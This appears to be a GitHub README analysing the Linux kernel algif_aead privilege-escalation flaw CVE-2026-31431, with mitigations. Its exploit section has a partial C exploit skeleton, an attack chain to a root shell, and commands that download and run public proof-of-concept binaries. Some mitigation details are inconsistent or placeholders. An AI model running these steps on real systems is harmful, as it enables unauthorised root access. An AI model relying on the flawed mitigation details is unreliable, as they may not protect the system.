alvaroguzmancode/CVE-2026-31431-mitigacion
GitHub: alvaroguzmancode/CVE-2026-31431-mitigacion
针对 Linux 内核 algif_aead 模块缓冲区溢出漏洞 CVE-2026-31431 的完整技术分析与多层级缓解方案文档。
Stars: 1 | Forks: 0
# CVE-2026-31431 — 完整技术分析
## 目录
1. [为何存在漏洞?](#1-por-qué-es-vulnerable)
2. [受影响的版本](#2-qué-versiones-están-afectadas)
3. [漏洞利用方式](#3-cómo-se-explota)
4. [缓解措施](#4-cómo-mitigarlo)
## 1. 为何存在漏洞?
### AF_ALG 子系统
Linux 内核向用户空间暴露了一个称为 **AF_ALG**(`AF_ALG` 协议族套接字)的密码学接口。该接口允许无特权的进程使用内核的密码加速器——加密、哈希、密钥生成——而无需 root 权限。
其中一个是 **`algif_aead`** 模块,它实现了 AEAD 模式(*Authenticated Encryption with Associated Data*,关联数据的认证加密),被 AES-GCM 或 ChaCha20-Poly1305 等算法使用。
### 根本缺陷
该漏洞在于当输出缓冲区小于预期大小时,`algif_aead` 如何处理 **`sendmsg()` + `recvmsg()`** 操作。内核在执行复制操作(`copy_to_user`)时没有正确验证大小,从而导致:
```
Buffer overflow → escritura fuera de límites en memoria del kernel
```
从技术上讲:
```
algif_aead_copy_sgl()
└─ sg_copy_to_buffer()
└─ memcpy hacia dirección controlada parcialmente por usuario
```
这种越界写入(write-out-of-bounds)允许覆盖内存中相邻的内核控制结构——特别是函数指针或 `cred` 结构——从而实现提权。
### 为何利用该漏洞不需要 root 权限?
因为 `AF_ALG` 对无特权用户是可用的。任何进程都可以打开 `AF_ALG` 套接字并在无需事先认证的情况下发送数据。该漏洞利用不需要任何辅助漏洞。
```
// Esto lo puede hacer cualquier usuario del sistema
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
```
## 2. 受影响的版本
### 存在漏洞的内核
| 内核版本 | 是否受影响? |
|--------------------------|-----------|
| < 5.10 | 否(该模块当时并非以这种形式存在) |
| 5.10 — 6.1.x | 是 ⚠️ |
| 6.2.x | 是 ⚠️(包含 PoC 中的内核版本) |
| 6.3+ 且已应用补丁 | 否 ✅ |
### 风险最高的发行版
| 发行版 | 典型内核版本 | 是否已修补? |
|-----------------------|---------------|----------------|
| Ubuntu 23.04 (lunar) | 6.2.0 | ❌ EOL — 无补丁 |
| Ubuntu 22.04 LTS | 5.15.x | ✅ 已修补 |
| Ubuntu 24.04 LTS | 6.8.x | ✅ 不受影响 |
| Debian 12 (Bookworm) | 6.1.x | ✅ 已修补 |
| Arch Linux (2026-03+) | 6.8.x | ✅ 不受影响 |
### 如何检查你的内核版本
```
# 查看内核版本
uname -r
# 查看易受攻击模块是否已加载
lsmod | grep algif_aead
# 查看 AF_ALG 是否可用
cat /proc/net/protocols | grep ALG
```
#### 存在漏洞的输出示例
```
$ uname -r
6.2.0-20-generic
$ lsmod | grep algif_aead
algif_aead 20480 0
af_alg 32768 3 algif_aead,algif_skcipher,algif_hash
```
## 3. 漏洞利用方式
### 漏洞利用流程
```
1. Abrir socket AF_ALG (algif_aead)
2. Enviar sendmsg() con buffer oversized
3. recvmsg() con buffer más pequeño → trigger del bug
4. Escritura OOB en kernel heap
5. Sobrescribir cred->uid/gid a 0
6. execve("/bin/sh") → shell root
```
### 概念性最小漏洞利用代码 (C)
```
#include
#include
#include
#include
#include
int main(void) {
struct sockaddr_alg sa = {
.salg_family = AF_ALG,
.salg_type = "aead",
.salg_name = "gcm(aes)",
.salg_feat = 0,
.salg_mask = 0,
};
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(fd, (struct sockaddr *)&sa, sizeof(sa));
// Configurar clave de 16 bytes
char key[16] = {0};
setsockopt(fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
setsockopt(fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 16);
int op_fd = accept(fd, NULL, NULL);
// Buffer grande → trigger OOB write
char big_buf[4096] = {0};
char small_buf[16] = {0};
struct msghdr msg = {0};
// ... construcción del msghdr con cmsg ALG_OP_ENCRYPT
sendmsg(op_fd, &msg, 0);
// recvmsg con buffer insuficiente → kernel escribe fuera de límites
recv(op_fd, small_buf, sizeof(small_buf), 0);
// Si el exploit funcionó, ahora somos root
if (getuid() == 0) {
printf("[+] ¡Root obtenido!\n");
execl("/bin/sh", "sh", NULL);
}
return 0;
}
```
### 已知的公开 PoC
以下代码库包含有文档说明的可运行实现:
- **copy-fail-c** — 纯 C 语言编写的漏洞利用程序,需要编译
`https://github.com/tgies/copy-fail-c`
- **copy-fail-tiny-elf** — 独立的 ELF 二进制文件,无需编译
`https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431`
#### 典型用法(实验环境)
```
# 克隆并编译 copy-fail-c
git clone https://github.com/tgies/copy-fail-c
cd copy-fail-c
make
./copyfail
# 易受攻击系统上的预期结果:
# [*] 正在检查模块 algif_aead...
# [*] 正在准备 heap spray...
# [+] OOB write 成功
# [+] 当前 UID: 0
# # whoami
# root
```
#### 使用 ELF 二进制文件(无需编译)
```
wget https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431/raw/main/copyfail
chmod +x copyfail
./copyfail
```
### 真实攻击场景
```
Atacante externo
│
▼
Explota vulnerabilidad web (RCE) → acceso como www-data
│
▼
Sube copyfail al servidor (wget/curl)
│
▼
Ejecuta ./copyfail
│
▼
Shell root en el servidor ✓
```
从 `www-data` 用户获取 root 权限的预计时间:**< 30 秒**。
## 4. 缓解措施
### 根本解决方案 — 更新系统
唯一真正的解决方案是运行已应用补丁的内核。
```
# 选项 1: 升级至 Ubuntu 24.04 LTS (推荐)
do-release-upgrade
# 选项 2: 如果你已在使用 Ubuntu 22.04 LTS
sudo apt update && sudo apt dist-upgrade
sudo reboot
# 验证已打补丁的内核
uname -r # debe ser ≥ 5.15.0-107 en Ubuntu 22.04
```
### 临时缓解措施 — 禁用存在漏洞的模块
如果目前无法更新,请禁用 `algif_aead`:
```
# 创建模块 blacklist
echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/blacklist-algif-aead.conf
# 重新生成 initramfs 以使其永久生效
sudo update-initramfs -u
# 重启
sudo reboot
```
验证其是否已被禁用:
```
lsmod | grep algif_aead
# 不应出现任何内容
```
### 使用 sysctl 缓解 — 限制用户命名空间
```
# 禁用 unprivileged user namespaces (会破坏 Docker 的部分 features)
sudo sysctl -w kernel.unprivileged_userns_clone=0
# 使其永久生效
echo "kernel.unprivileged_userns_clone=0" | sudo tee -a /etc/sysctl.d/99-hardening.conf
sudo sysctl -p /etc/sysctl.d/99-hardening.conf
```
### 使用 AppArmor 缓解 — 阻断 AF_ALG
创建一个拒绝访问 `AF_ALG` 的 AppArmor 配置文件:
```
# /etc/apparmor.d/local/restrict-af-alg
network af_alg, # denegar en perfiles específicos
```
针对 Web 进程(例如 nginx/www-data):
```
# 添加到 www-data 或 nginx 的 AppArmor profile
# deny network af_alg,
sudo apparmor_parser -r /etc/apparmor.d/usr.sbin.nginx
```
### 降低影响 — www-data 加固
虽然不能防止提权,但可以缩小初始攻击面:
```
# 验证 www-data 没有 sudo
sudo grep www-data /etc/sudoers
# 移除不必要的 SUID binaries
find / -perm -4000 2>/dev/null
# 限制可访问的目录
chmod 700 /root
chmod 750 /home/*
```
### 缓解措施汇总表
| 缓解措施 | 有效性 | 对服务的影响 | 是否永久 |
|-----------------------------------|-------------|---------------------|-----------|
| 更新至 Ubuntu 24.04 | ✅ 完全 | 最低 | 是 |
| 黑名单 `algif_aead` | ✅ 高 | 非常低 | 是 |
| `unprivileged_userns_clone=0` | 🟡 部分 | 中等 | 是 |
| AppArmor 拒绝 AF_ALG | ✅ 高 | 低 | 是 |
| www-data 加固 | 🟡 减轻 | 无 | 是 |
## 参考文献
- NVD: `https://nvd.nist.gov/vuln/detail/CVE-2026-31431`
- 修复该问题的内核提交:subsystem `crypto/algif_aead.c`
- PoC: `https://github.com/tgies/copy-fail-c`
- PoC ELF: `https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431`
- 相关的 Ubuntu 安全公告:USN-XXXX-1
标签:0day漏洞, AF_ALG, algif_aead, Cutter, CVE-2026-31431, Go语言工具, Linux内核安全, Web报告查看器, 内存安全, 内核提权, 协议分析, 威胁情报, 子域名枚举, 安全渗透, 开发者工具, 技术分析, 提权漏洞, 权限提升, 漏洞分析, 漏洞缓解, 系统安全, 缓冲区溢出, 网络安全, 路径探测, 隐私保护